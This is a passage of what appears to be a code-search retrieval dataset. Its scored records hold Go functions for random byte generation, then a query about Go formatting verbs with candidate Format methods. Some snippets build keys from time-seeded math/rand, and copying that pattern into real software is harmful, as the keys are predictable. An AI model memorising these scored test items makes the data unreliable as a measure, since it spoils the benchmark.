for error\n\tmrand.Read(token)\n\n\treturn token, nil\n}", "title": "" }, { "docid": "5b620e25f22412a6c0a44bbb72820c38", "score": "0.6472872", "text": "func RandBytes() []byte {\n\treturn rs.RandBytes()\n}", "title": "" }, { "docid": "597d555ab65e4d4f1b87c03d03e17932", "score": "0.6467491", "text": "func generateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"ec2macosinit: unable to read random bytes from OS: %s\", err)\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "5ec398fca418b232f127e6987f27d3d7", "score": "0.6424848", "text": "func RandomCreateBytes(n int, alphabets ...byte) []byte {\n\tif len(alphabets) == 0 {\n\t\talphabets = alphaNum\n\t}\n\tvar bytes = make([]byte, n)\n\tvar randBy bool\n\tif num, err := rand.Read(bytes); num != n || err != nil {\n\t\tr.Seed(time.Now().UnixNano())\n\t\trandBy = true\n\t}\n\tfor i, b := range bytes {\n\t\tif randBy {\n\t\t\tbytes[i] = alphabets[r.Intn(len(alphabets))]\n\t\t} else {\n\t\t\tbytes[i] = alphabets[b%byte(len(alphabets))]\n\t\t}\n\t}\n\treturn bytes\n}", "title": "" }, { "docid": "5ec398fca418b232f127e6987f27d3d7", "score": "0.6424848", "text": "func RandomCreateBytes(n int, alphabets ...byte) []byte {\n\tif len(alphabets) == 0 {\n\t\talphabets = alphaNum\n\t}\n\tvar bytes = make([]byte, n)\n\tvar randBy bool\n\tif num, err := rand.Read(bytes); num != n || err != nil {\n\t\tr.Seed(time.Now().UnixNano())\n\t\trandBy = true\n\t}\n\tfor i, b := range bytes {\n\t\tif randBy {\n\t\t\tbytes[i] = alphabets[r.Intn(len(alphabets))]\n\t\t} else {\n\t\t\tbytes[i] = alphabets[b%byte(len(alphabets))]\n\t\t}\n\t}\n\treturn bytes\n}", "title": "" }, { "docid": "0ff0dce51185446f384c61541d2fbdd1", "score": "0.64081424", "text": "func randBytes(sz int) []byte {\n\tif sz <= 0 {\n\t\tsz = 16\n\t}\n\n\tch := \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/\"\n\tchlen := len(ch)\n\n\trand_string := make([]byte, sz)\n\trand.Read(rand_string)\n\n\tfor i, v := range rand_string {\n\t\trand_string[i] = ch[v%byte(chlen)]\n\t}\n\treturn rand_string\n}", "title": "" }, { "docid": "36bd2f5866ba6adbdc9e25c4ebd8a01e", "score": "0.63978064", "text": "func generateBytes(b byte, length int) []byte {\n // instantiate the empty byte array\n data := make([]byte, length)\n\n // populate the byte array with 0x41 characters\n for i := 0; i < length; i++ {\n data[i] = b\n }\n\n return data\n}", "title": "" }, { "docid": "74ab1db55a481b301a28c248258b0087", "score": "0.63665694", "text": "func RandomBytes(buf []byte) {\n\t_, err := io.ReadFull(rand.Reader, buf[:])\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n}", "title": "" }, { "docid": "23e065ea2a5e2ddae386e05ef72cc24c", "score": "0.63234216", "text": "func GenerateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\t// Note that err == nil only if we read len(b) bytes.\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "23e065ea2a5e2ddae386e05ef72cc24c", "score": "0.63234216", "text": "func GenerateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\t// Note that err == nil only if we read len(b) bytes.\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "23e065ea2a5e2ddae386e05ef72cc24c", "score": "0.63234216", "text": "func GenerateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\t// Note that err == nil only if we read len(b) bytes.\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "23e065ea2a5e2ddae386e05ef72cc24c", "score": "0.63234216", "text": "func GenerateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\t// Note that err == nil only if we read len(b) bytes.\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "23e065ea2a5e2ddae386e05ef72cc24c", "score": "0.63234216", "text": "func GenerateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\t// Note that err == nil only if we read len(b) bytes.\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "23e065ea2a5e2ddae386e05ef72cc24c", "score": "0.63234216", "text": "func GenerateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\t// Note that err == nil only if we read len(b) bytes.\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "23e065ea2a5e2ddae386e05ef72cc24c", "score": "0.63234216", "text": "func GenerateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\t// Note that err == nil only if we read len(b) bytes.\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "23e065ea2a5e2ddae386e05ef72cc24c", "score": "0.63234216", "text": "func GenerateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\t// Note that err == nil only if we read len(b) bytes.\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "23e065ea2a5e2ddae386e05ef72cc24c", "score": "0.63234216", "text": "func GenerateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\t// Note that err == nil only if we read len(b) bytes.\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "23e065ea2a5e2ddae386e05ef72cc24c", "score": "0.63234216", "text": "func GenerateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\t// Note that err == nil only if we read len(b) bytes.\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "23e065ea2a5e2ddae386e05ef72cc24c", "score": "0.63234216", "text": "func GenerateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\t// Note that err == nil only if we read len(b) bytes.\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "09b66b8a195b1f23f70b6283290ed4cc", "score": "0.630061", "text": "func Generate_Random_Bytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}", "title": "" }, { "docid": "4b8a5adb7b4cd5a970a1349af0477553", "score": "0.62435734", "text": "func Random8Bytes() [8]byte {\n\tr := RandomBytes(8)\n\treturn [8]byte{r[0], r[1], r[2], r[3],\n\t\tr[4], r[5], r[6], r[7]}\n}", "title": "" }, { "docid": "fe387c19696d1142fa088aac42050d7d", "score": "0.6216145", "text": "func RandomByteSlices(m, n int, rng Rand) [][]byte {\n\tbufs := make([][]byte, m)\n\tfor i := range bufs {\n\t\tbufs[i] = make([]byte, n)\n\t\tFillRandomByteSlice(bufs[i], rng)\n\t}\n\treturn bufs\n}", "title": "" }, { "docid": "e9354f71d3f800761a16576684405104", "score": "0.62124634", "text": "func Random() []byte {\n\tseed := make([]byte, 32)\n\tio.ReadFull(rand.Reader, seed)\n\n\treturn PseudoRandom(seed)\n}", "title": "" }, { "docid": "197940e7d0cdc71c10a158a31bd2e83a", "score": "0.6211836", "text": "func makeTestString4(n, r, s int) []byte {\n rand.Seed(int64(s))\n b := make([]byte, n)\n for i := range b {\n b[i] = byte(rand.Intn(256) % r)\n }\n return b\n}", "title": "" }, { "docid": "667417fb60741f7446a8efe4f9a5d73b", "score": "0.61558723", "text": "func RandBytes(n int) []byte {\n\tif n <= 0 {\n\t\tpanic(\"negative number\")\n\t}\n\tconst alphanum = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\tvar bytes = make([]byte, n)\n\trand.Read(bytes)\n\tfor i, b := range bytes {\n\t\tbytes[i] = alphanum[b%byte(len(alphanum))]\n\t}\n\treturn bytes\t\n}", "title": "" }, { "docid": "a0ac86c03221bced3b6fd8a0b4cc618b", "score": "0.6142102", "text": "func (jwtAuth *JwtAuth) generateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\t// Note that err == nil only if we read len(b) bytes.\n\tif err != nil {\n\t\tlog.Println(\"unable to read random bytes during jwt key generation\")\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "e8afb6ff7f6e2276a0a8642718951057", "score": "0.6141141", "text": "func (c *coin) RandomBytes(_ uint16, level int) []byte {\n\treturn c.randomBytes.Get(level)\n}", "title": "" }, { "docid": "117d4e4b37c44c441df1698d68e3913a", "score": "0.6126645", "text": "func RandStringBytes(n int) []byte {\n\tb := make([]byte, n)\n\tfor i := range b {\n\t\tb[i] = letters[r.Intn(len(letters))]\n\t}\n\treturn b\n}", "title": "" }, { "docid": "405ce62c5274f80a3f2c7a717c68c8af", "score": "0.61140746", "text": "func RandByte(n int) []byte {\n\treturn cipher.RandByte(n)\n}", "title": "" }, { "docid": "00b35ae6db3350dd12a5fa584b938f30", "score": "0.61115104", "text": "func Bytes(size int) ([]byte, error) {\n\tif size < 0 {\n\t\treturn nil, fmt.Errorf(\"random: size cannot be less than zero\")\n\t}\n\trandom := make([]byte, size)\n\n\t_, err := rand.Read(random)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"random: error while reading random bytes: %v\", err)\n\t}\n\n\treturn random, nil\n}", "title": "" }, { "docid": "bb1163e3c2dc42577987eb579d1cab60", "score": "0.6107501", "text": "func (r *randstr) RandBytes() []byte {\n\treturn r.RandBytesLen(r.length)\n}", "title": "" }, { "docid": "0328f04b0c58314a9cd7e1a58fd694f0", "score": "0.6099137", "text": "func RandBytes(l uint32) []byte {\n\tb := make([]byte, l)\n\tfor i := 0; i < int(l); i++ {\n\t\tb[i] = alphanum[int(prng.Bound(alen))]\n\t}\n\treturn b\n}", "title": "" }, { "docid": "55742ae8abc1796f00cddf2648782b61", "score": "0.6081782", "text": "func RandBytesLen(length int) []byte {\n\treturn rs.RandBytesLen(length)\n}", "title": "" }, { "docid": "bc595e8ef99a1f91e424367962f3821c", "score": "0.60345566", "text": "func (r *randstr) RandBytesLen(length int) []byte {\n\trnd := r.rnd\n\n\t// if length == 0, it will return empty bytes;\n\t// if length < 0, it will return default length bytes.\n\tif length == 0 {\n\t\treturn []byte{}\n\t} else if r.length < 0 {\n\t\tlength = defaultRandStrLength\n\t}\n\n\t// if rnd == nil, it will use a new Rand.\n\tif r.rnd == nil {\n\t\tr.rnd = rand.New(rand.NewSource(time.Now().UnixNano()))\n\t}\n\n\tbuf := make([]byte, length)\n\tfor i := range buf {\n\t\tbuf[i] = r.seedRunes[rnd.Intn(len(r.seedRunes))]\n\t}\n\treturn buf\n}", "title": "" }, { "docid": "36a70bb3a29df0e543a4672d4e96b89b", "score": "0.60343266", "text": "func CreateRandom(bs []byte, length int) []byte {\n\tfilled := make([]byte, length)\n\tmax := len(bs)\n\n\tfor i := 0; i < length; i++ {\n\t\tShuffle(bs)\n\t\tfilled[i] = bs[random(0, max)]\n\t}\n\n\treturn filled\n}", "title": "" }, { "docid": "d2878d4086c1d05983d5296becb73b59", "score": "0.60322845", "text": "func generateRandomKey(length int) []byte {\n\tkey := make([]byte, length)\n\tfor i := 0; i < length; i++ {\n\t\trand.Seed(time.Now().UnixNano())\n\t\tkey[i] = byte(rand.Intn(256))\n\t}\n\treturn key\n}", "title": "" }, { "docid": "4899a4f2ebf991f98ed833eca0b3fd4c", "score": "0.60318327", "text": "func randBuf(buf []byte, start int) {\n\t_ = buf[start] // guarantee safety of writes below\n\tsize := len(buf)\n\tpadding := make([]byte, size-start)\n\t_, err := rand.Read(padding)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tfor i := 0; i < len(padding); i++ {\n\t\tbuf[start+i] = padding[i]\n\t}\n}", "title": "" }, { "docid": "377ea55cbf2ba608dfbc4b503df1da19", "score": "0.6003484", "text": "func (t *UserServlet) generate_random_bytestring(length int) []byte {\n\trandom_bytes := make([]byte, length)\n\tfor i := range random_bytes {\n\t\trandom_bytes[i] = byte(t.random.Int() & 0xff)\n\t}\n\treturn random_bytes\n}", "title": "" }, { "docid": "9ff736fb67bf8c0f070667f0339442a0", "score": "0.59834164", "text": "func Bytes(n int) []byte {\n\tret := make([]byte, n)\n\tif _, err := rand.Read(ret); err == nil {\n\t\treturn ret\n\t}\n\n\trandMutex.Lock()\n\tdefer randMutex.Unlock()\n\tif _, err := fallbackRand.Read(ret); err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn ret\n}", "title": "" }, { "docid": "f42035996ff523f5a5a1d003f94562e0", "score": "0.59695876", "text": "func GenerateKey(size int) (ba []byte) {\n\tr := rand.New(rand.NewSource(time.Now().Unix()))\n\tba = make([]byte, size)\n\n\tfor i := 0; i < size; i++ {\n\t\tba[i] = byte(r.Intn(256))\n\t}\n\treturn\n}", "title": "" }, { "docid": "7d70a530656513e1e8cbfa961e59d2fc", "score": "0.5965885", "text": "func getRandomByte() []byte {\n\tconst letterBytes = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\t// seeding the random number generator.\n\trand.Seed(UTCNow().UnixNano())\n\t// pick a character randomly.\n\treturn []byte{letterBytes[rand.Intn(len(letterBytes))]}\n}", "title": "" }, { "docid": "f47b3ea1a790d35e8d273e3e107bb6e1", "score": "0.5962837", "text": "func getRandomByte() []byte {\n\tconst letterBytes = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\t// seeding the random number generator.\n\trand.Seed(time.Now().UnixNano())\n\tvar b byte\n\t// pick a character randomly.\n\tb = letterBytes[rand.Intn(len(letterBytes))]\n\treturn []byte{b}\n}", "title": "" }, { "docid": "e678af6c84b88399eb35adaf6ccc1181", "score": "0.59574836", "text": "func (Bytes32) Generate(r *rand.Rand, size int) reflect.Value {\n\tv, _ := quick.Value(reflect.TypeOf([32]byte{}), r)\n\treturn reflect.ValueOf(NewBytes32(v.Interface().([32]byte)))\n}", "title": "" }, { "docid": "7c79993cbb7c1a5c044c6409d870a690", "score": "0.59526217", "text": "func (r *Random) GenerateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\tif err := r.randReader(b); err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}", "title": "" }, { "docid": "6a9ec9f6aff341ee478d18d60425a7ce", "score": "0.59386736", "text": "func GenerateRandomPayload(t *testing.T, n int) []byte {\n\tt.Helper()\n\tbuf := make([]byte, n)\n\tif _, err := rand.Read(buf); err != nil {\n\t\tt.Fatalf(\"rand.Read(buf) failed: %s\", err)\n\t}\n\treturn buf\n}", "title": "" }, { "docid": "51d1af80f963bce61e680e38b9b3d0c9", "score": "0.5938151", "text": "func Uint8() uint8 { return uint8Func(globalFaker.Rand) }", "title": "" }, { "docid": "73106bc07e3f24178e005a1d8e95e4e0", "score": "0.593618", "text": "func MakeRandom(length int) ([]byte, error) {\n\tbytes := make([]byte, length)\n\t_, err := rand.Read(bytes)\n\treturn bytes, err\n}", "title": "" }, { "docid": "c9a1a9d83e00e48cfb65963da4deaa53", "score": "0.5934681", "text": "func (Bytes65) Generate(r *rand.Rand, size int) reflect.Value {\n\tv, _ := quick.Value(reflect.TypeOf([65]byte{}), r)\n\treturn reflect.ValueOf(NewBytes65(v.Interface().([65]byte)))\n}", "title": "" }, { "docid": "da495320de3e7227957916d2217b75a8", "score": "0.5931037", "text": "func Bytes(n int)([]byte, error){\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\tif err != nil{\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}", "title": "" }, { "docid": "64fcea3ece5fe5e351932b0c4a09f9ad", "score": "0.59205145", "text": "func GenKey(size int) []byte {\n key := make([]byte, size)\n n, err := io.ReadFull(rand.Reader, key)\n if n != len(key) || err != nil {\n fmt.Println(\"Could not generate random key\\nERROR:\", err)\n panic(err)\n }\n return key\n}", "title": "" } ]
e0c29471419a7486368e2692ca8dfd24
go formatting verbs general VerbDescription %v Prints the value in the default format %v Prints the value in Gosyntax format %T Prints the type of the value %% Prints the % sign
[ { "docid": "9a5b1ad75b056a5d3cabe6121cb72a1c", "score": "0.59389436", "text": "func verbs() {\n var i = 15.5\n var txt = \"Hello World!\"\n\n fmt.Printf(\"%v\\n\", i) // 15.5\n fmt.Printf(\"%#v\\n\", i) // 15.5\n fmt.Printf(\"%v%%\\n\", i) // 15.5%\n fmt.Printf(\"%T\\n\", i) // float64\n\n fmt.Printf(\"%v\\n\", txt) // Hello World!\n fmt.Printf(\"%#v\\n\", txt) // \"Hello World!\"\n fmt.Printf(\"%T\\n\", txt) // string\n}", "title": "" } ]
[ { "docid": "33562f56db16cbf364fe7a4adea5ed39", "score": "0.6715644", "text": "func (v Value) Format(state fmt.State, verb rune) {\n\tif v.v == nil {\n\t\tfmt.Fprint(state, \"<nil>\")\n\t\treturn\n\t}\n\n\tswitch verb {\n\tcase 'a':\n\t\tformatCUE(state, v, true, true)\n\tcase 'c':\n\t\tformatCUE(state, v, true, false)\n\tcase 'v':\n\t\tformatCUE(state, v, false, false)\n\n\tcase 'd', 'o', 'O', 'U':\n\t\tvar i big.Int\n\t\tif _, err := v.Int(&i); err != nil {\n\t\t\tformatCUE(state, v, false, false)\n\t\t\treturn\n\t\t}\n\t\ti.Format(state, verb)\n\n\tcase 'f', 'e', 'E', 'g', 'G':\n\t\td, err := v.Decimal()\n\t\tif err != nil {\n\t\t\tformatCUE(state, v, false, false)\n\t\t\treturn\n\t\t}\n\t\td.Format(state, verb)\n\n\tcase 's', 'q':\n\t\t// TODO: this drops other formatting directives\n\t\tmsg := \"%s\"\n\t\tif verb == 'q' {\n\t\t\tmsg = \"%q\"\n\t\t}\n\n\t\tif b, err := v.Bytes(); err == nil {\n\t\t\tfmt.Fprintf(state, msg, b)\n\t\t} else {\n\t\t\ts := fmt.Sprintf(\"%+v\", v)\n\t\t\tfmt.Fprintf(state, msg, s)\n\t\t}\n\n\tcase 'x', 'X':\n\t\tswitch v.Kind() {\n\t\tcase StringKind, BytesKind:\n\t\t\tb, _ := v.Bytes()\n\t\t\t// TODO: this drops other formatting directives\n\t\t\tmsg := \"%x\"\n\t\t\tif verb == 'X' {\n\t\t\t\tmsg = \"%X\"\n\t\t\t}\n\t\t\tfmt.Fprintf(state, msg, b)\n\n\t\tcase IntKind, NumberKind:\n\t\t\tvar i big.Int\n\t\t\t_, _ = v.Int(&i)\n\t\t\ti.Format(state, verb)\n\n\t\tcase FloatKind:\n\t\t\tdec, _ := v.Decimal()\n\t\t\tdec.Format(state, verb)\n\n\t\tdefault:\n\t\t\tformatCUE(state, v, false, false)\n\t\t}\n\n\tdefault:\n\t\tformatCUE(state, v, false, false)\n\t}\n}", "title": "" }, { "docid": "63a1274f27b5c9e702e88d33f66ca087", "score": "0.6375639", "text": "func (p Secret) Format(s fmt.State, v rune) {\n\tswitch v {\n\tcase 'v', 's':\n\t\tif s.Flag('#') {\n\t\t\tio.WriteString(s, `\"****\"`)\n\t\t} else {\n\t\t\tio.WriteString(s, \"****\")\n\t\t}\n\tcase 'q', 'x', 'X':\n\t\tfmt.Fprintf(s, fmt.Sprintf(\"%%%s\", string(v)), \"****\")\n\tdefault:\n\t\tfmt.Fprintf(s, \"%%!%v(%T=****)\", string(v), p)\n\t}\n}", "title": "" }, { "docid": "0e4a30daf2fb952a0bb19fc50ce24b1d", "score": "0.6345673", "text": "func (w *wrapper) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 'v':\n\t\tif s.Flag('+') {\n\t\t\tfmt.Fprintf(s, \"%+v\\n\", w.error)\n\t\t\tfmt.Fprint(s, w.prefix+w.msg)\n\t\t\treturn\n\t\t}\n\t\tfallthrough\n\tcase 's', 'q':\n\t\tfmt.Fprintf(s, \"%s\\n\", w.error)\n\t\tfmt.Fprint(s, w.prefix+w.msg)\n\t}\n}", "title": "" }, { "docid": "1771eee5491f961a79774f58b4cbe87e", "score": "0.6268916", "text": "func (f *defaultFormatter) Format(ev Var) string {\n\treturn fmt.Sprintf(\"'%s'\", ev.String())\n}", "title": "" }, { "docid": "7f74d99e283a7c5c5f46d1a5b1f0e0be", "score": "0.6257042", "text": "func FormatValue(v interface{}) string {\n\treturn Default.FormatValue(v)\n}", "title": "" }, { "docid": "d5c778a9b825ab856e29858e022ff7bb", "score": "0.6191298", "text": "func (va ValAddress) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\t_, _ = s.Write([]byte(fmt.Sprintf(\"%s\", va.String())))\n\tcase 'p':\n\t\t_, _ = s.Write([]byte(fmt.Sprintf(\"%p\", va)))\n\tdefault:\n\t\t_, _ = s.Write([]byte(fmt.Sprintf(\"%X\", []byte(va))))\n\t}\n}", "title": "" }, { "docid": "cfb7fa77ed48fcd7fb7e8ae903b1bd4f", "score": "0.6187264", "text": "func (d Dynamic) Format(f fmt.State, r rune) {\n\tswitch r {\n\tcase 'v':\n\t\tfields := []string{}\n\t\tfor n, v := range d.Fields {\n\t\t\tsuffix := \"\"\n\t\t\tif bytes, ok := v.([]byte); ok && len(bytes) > 32 {\n\t\t\t\tsuffix = fmt.Sprintf(\" (truncated %v bytes)\", len(bytes))\n\t\t\t\tv = bytes[:32]\n\t\t\t}\n\t\t\tif f.Flag('+') {\n\t\t\t\tfields = append(fields, fmt.Sprintf(\"%v: %+v%v\", n, v, suffix))\n\t\t\t} else {\n\t\t\t\tfields = append(fields, fmt.Sprintf(\"%v%v\", v, suffix))\n\t\t\t}\n\t\t}\n\t\tsort.Strings(fields)\n\t\tfmt.Fprintf(f, \"%vᵈ{%s}\", d.Desc.GetName(), strings.Join(fields, \", \"))\n\t}\n}", "title": "" }, { "docid": "88ac2bd07e1c4ff6923157f556d82a57", "score": "0.61651206", "text": "func (h *Help) Format(w fmt.State, v rune) {\n\tswitch v {\n\tcase 's':\n\t\tprintUsage(w, h.Cmd)\n\t\tprintHelp(w, h.Cmd)\n\tcase 'v':\n\t\tif w.Flag('#') {\n\t\t\tio.WriteString(w, \"cli.Help{\")\n\t\t\tfmt.Fprintf(w, \"%#v\", h.Cmd)\n\t\t\tio.WriteString(w, \"}\")\n\t\t\treturn\n\t\t}\n\t\tprintUsage(w, h.Cmd)\n\t\tprintHelp(w, h.Cmd)\n\tdefault:\n\t\t// fall back to default struct formatter. TODO this does not handle\n\t\t// flags\n\t\tfmt.Fprintf(w, \"%\"+string(v), fmtHelp{h.Cmd})\n\t}\n}", "title": "" }, { "docid": "a2061aa4d3283d72065662b679295cc1", "score": "0.61454433", "text": "func (c Caller) Format(s fmt.State, verb rune) {\n\tif verb == 's' {\n\t\tcheck(io.WriteString(s, c.Short))\n\t} else if verb == 'q' {\n\t\tcheck(fmt.Fprintf(s, \"%q\", c.Short))\n\t} else if verb == 'v' {\n\t\tif s.Flag('+') {\n\t\t\tc.Print(s)\n\t\t} else {\n\t\t\tcheck(io.WriteString(s, c.Full))\n\t\t}\n\t}\n}", "title": "" }, { "docid": "35405b769917c031cae4cd6b53fcd4d6", "score": "0.6137548", "text": "func (va ValAddress) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\ts.Write([]byte(va.String()))\n\tcase 'p':\n\t\ts.Write([]byte(fmt.Sprintf(\"%p\", va)))\n\tdefault:\n\t\ts.Write([]byte(fmt.Sprintf(\"%X\", []byte(va))))\n\t}\n}", "title": "" }, { "docid": "35b67930d1985bf0d4435e7404d4edd2", "score": "0.61296374", "text": "func (bt BindingType) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\ts.Write([]byte(fmt.Sprintf(\"%s\", bt.String())))\n\tdefault:\n\t\ts.Write([]byte(fmt.Sprintf(\"%v\", byte(bt))))\n\t}\n}", "title": "" }, { "docid": "110103958ba4df446764d1bb960a617d", "score": "0.60415286", "text": "func (mt MessagingType) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\ts.Write([]byte(fmt.Sprintf(\"%s\", mt.String())))\n\tdefault:\n\t\ts.Write([]byte(fmt.Sprintf(\"%v\", byte(mt))))\n\t}\n}", "title": "" }, { "docid": "02e9a661b461d3c199809d8dc9239dac", "score": "0.6036726", "text": "func (oe OutputPrivacyEnum) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\ts.Write([]byte(fmt.Sprintf(\"%s\", oe.String())))\n\tdefault:\n\t\ts.Write([]byte(fmt.Sprintf(\"%v\", byte(oe))))\n\t}\n}", "title": "" }, { "docid": "2ca3ba53a1b0c97ed516059a6200339d", "score": "0.60288095", "text": "func (f Flag) Format(s fmt.State, verb rune) {\n\tif f.Flag == nil {\n\t\tfmt.Fprintf(s, \"%%!%c<nil>\", verb)\n\t\treturn\n\t}\n\n\tswitch verb {\n\tcase 's', 'v', 'x':\n\t\taddHyphens := s.Flag('+')\n\t\taddPadding := addHyphens && s.Flag('#')\n\t\tshort, haveShort := f.GetShortName()\n\t\tlong, haveLong := f.GetLongName()\n\n\t\tvar shortstr string\n\t\tif haveShort {\n\t\t\tswitch {\n\t\t\tcase addHyphens:\n\t\t\t\tshortstr = \"-\" + string(short)\n\t\t\tcase !addHyphens:\n\t\t\t\tshortstr = string(short)\n\t\t\t}\n\t\t}\n\n\t\tif haveLong && addHyphens {\n\t\t\tlong = \"--\" + long\n\t\t}\n\n\t\tswitch {\n\t\tcase haveShort && haveLong:\n\t\t\tfmt.Fprintf(s, \"%s, %s\", shortstr, long)\n\t\tcase haveShort && !haveLong:\n\t\t\tfmt.Fprintf(s, \"%s\", shortstr)\n\t\tcase !haveShort && haveLong && addPadding:\n\t\t\tfmt.Fprintf(s, \" %s\", long)\n\t\tcase !haveShort && haveLong && !addPadding:\n\t\t\tfmt.Fprintf(s, \"%s\", long)\n\t\t}\n\n\t\tif verb == 'v' {\n\t\t\tif p := f.GetPlaceholder(); p != \"\" {\n\t\t\t\tfmt.Fprintf(s, \" %s\", p)\n\t\t\t}\n\t\t}\n\n\tcase 'n':\n\t\tshort, ok := f.GetShortName()\n\t\tswitch {\n\t\tcase !ok:\n\t\t\t//\n\t\tcase s.Flag('+'):\n\t\t\tio.WriteString(s, \"-\"+string(short))\n\t\tdefault:\n\t\t\tio.WriteString(s, string(short))\n\t\t}\n\n\tcase 'l':\n\t\tlong, ok := f.GetLongName()\n\t\tswitch {\n\t\tcase !ok:\n\t\t\t//\n\t\tcase s.Flag('+'):\n\t\t\tio.WriteString(s, \"--\"+long)\n\t\tdefault:\n\t\t\tio.WriteString(s, long)\n\t\t}\n\n\tcase 'd':\n\t\tio.WriteString(s, f.GetDefault())\n\n\tcase 'u':\n\t\tio.WriteString(s, f.GetUsage())\n\n\tcase 'k':\n\t\tio.WriteString(s, f.GetPlaceholder())\n\t}\n}", "title": "" }, { "docid": "78db4e1381bfdd448ec35bdb1a765b62", "score": "0.59948075", "text": "func (t token) format() string {\n\tif t.typ == typEquals {\n\t\treturn \" \" + t.text + \" \"\n\t}\n\treturn t.text\n}", "title": "" }, { "docid": "8cac8af2c9a27b1e47ce3401e4fe992a", "score": "0.5956578", "text": "func FormatValue(value interface{}) string {\n\t// Based on code in k8s.io/kubernetes/staging/src/k8s.io/apimachinery/pkg/util/validation/field/errors.go\n\tvalueType := reflect.TypeOf(value)\n\tif value == nil || valueType == nil {\n\t\tvalue = \"null\"\n\t} else if valueType.Kind() == reflect.Ptr {\n\t\tif reflectValue := reflect.ValueOf(value); reflectValue.IsNil() {\n\t\t\tvalue = \"null\"\n\t\t} else {\n\t\t\tvalue = reflectValue.Elem().Interface()\n\t\t}\n\t}\n\tswitch t := value.(type) {\n\tcase int64, int32, float64, float32, bool:\n\t\t// use simple printer for simple types\n\t\treturn fmt.Sprintf(\"%v\", value)\n\tcase string:\n\t\treturn fmt.Sprintf(\"%q\", t)\n\tcase fmt.Stringer:\n\t\t// anything that defines String() is better than raw struct\n\t\treturn t.String()\n\tdefault:\n\t\t// fallback to raw struct\n\t\t// TODO: internal types have panic guards against json.Marshaling to prevent\n\t\t// accidental use of internal types in external serialized form. For now, use\n\t\t// %#v, although it would be better to show a more expressive output in the future\n\t\treturn fmt.Sprintf(\"%#v\", value)\n\t}\n}", "title": "" }, { "docid": "9914de13f2626d8ea5aab9f2936a4c17", "score": "0.5943653", "text": "func (st StackTrace) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 'v':\n\t\tswitch {\n\t\tcase s.Flag('+'):\n\t\t\tfor _, f := range st {\n\t\t\t\tfmt.Fprintf(s, \"\\n%+v\", f)\n\t\t\t}\n\t\tcase s.Flag('#'):\n\t\t\tfmt.Fprintf(s, \"%#v\", []Frame(st))\n\t\tdefault:\n\t\t\tfmt.Fprintf(s, \"%v\", []Frame(st))\n\t\t}\n\tcase 's':\n\t\tfmt.Fprintf(s, \"%s\", []Frame(st))\n\t}\n}", "title": "" }, { "docid": "9914de13f2626d8ea5aab9f2936a4c17", "score": 